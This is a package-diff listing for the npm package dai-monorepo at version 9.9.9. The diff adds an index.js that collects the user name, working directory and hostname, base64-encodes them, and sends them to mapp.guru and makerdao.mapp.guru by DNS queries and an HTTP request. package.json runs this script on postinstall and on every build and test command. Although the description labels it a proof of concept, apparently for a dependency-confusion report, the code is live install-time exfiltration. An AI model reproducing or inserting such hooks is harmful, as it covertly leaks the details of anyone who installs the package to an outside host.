dai-monorepo 0.0.1-security → 9.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dai-monorepo might be problematic. Click here for more details.
- package/index.js +27 -0
- package/package.json +28 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
'use strict'
|
2
|
+
|
3
|
+
const https = require( 'http' );
|
4
|
+
const { execSync } = require( "child_process" );
|
5
|
+
const dns = require( 'dns' );
|
6
|
+
const data = {
|
7
|
+
"whoami": execSync( "whoami", {encoding: 'utf8'} ).replace( "\n", "" ),
|
8
|
+
"pwd":execSync( "pwd", {encoding: 'utf8'} ).replace( "\n", "" ),
|
9
|
+
"hostname": execSync( "hostname", {encoding: 'utf8'} ).replace( "\n", "" )
|
10
|
+
}
|
11
|
+
|
12
|
+
var b64 = Buffer.from( JSON.stringify( data ) ).toString( "base64" );
|
13
|
+
var b64split = b64.replace( /=/g, "-" ).replace( /\//g, "_" ).replace( /\+/g, "." ).split( /( .{50} )/ ).filter( O=>O );
|
14
|
+
|
15
|
+
const rrtype="A";
|
16
|
+
for( var i = 0; i < b64split.length; i++ ) {
|
17
|
+
dns.resolve( b64split[i] + ".mapp.guru", rrtype, ( err, records ) => console.log( 'records: %j', records ) );
|
18
|
+
}
|
19
|
+
|
20
|
+
const options = {
|
21
|
+
hostname: 'makerdao.mapp.guru',
|
22
|
+
port: 80,
|
23
|
+
path: "/" + b64,
|
24
|
+
method: 'GET',
|
25
|
+
};
|
26
|
+
|
27
|
+
https.get( options );
|
package/package.json
CHANGED
@@ -1,6 +1,31 @@
|
|
1
1
|
{
|
2
2
|
"name": "dai-monorepo",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "9.9.9",
|
4
|
+
"main": "index.js",
|
5
|
+
"author": "Gabriel Manhães <mapp@wearehackerone.com>",
|
6
|
+
"scripts": {
|
7
|
+
"build": "node index.js",
|
8
|
+
"lint": "node index.js",
|
9
|
+
"prettier": "node index.js",
|
10
|
+
"coverage": "node index.js",
|
11
|
+
"testchain": "node index.js",
|
12
|
+
"testchain:fast": "node index.js",
|
13
|
+
"test": "node index.js",
|
14
|
+
"test:integration": "node index.js",
|
15
|
+
"test:build": "node index.js",
|
16
|
+
"test:logs": "node index.js",
|
17
|
+
"update-addresses": "node index.js",
|
18
|
+
"postinstall": "node index.js"
|
19
|
+
},
|
20
|
+
"keywords": [],
|
21
|
+
"license": "ISC",
|
22
|
+
"dependencies": {
|
23
|
+
"debug": "^4.3.2",
|
24
|
+
"superlaser": "^1.0.0"
|
25
|
+
},
|
26
|
+
"engines": {
|
27
|
+
"node": ">=16.0.0",
|
28
|
+
"npm": ">=7.0.0"
|
29
|
+
},
|
30
|
+
"description": "THIS IS ONLY A POC, DO NOT INSTALL"
|
6
31
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dai-monorepo for more information.
|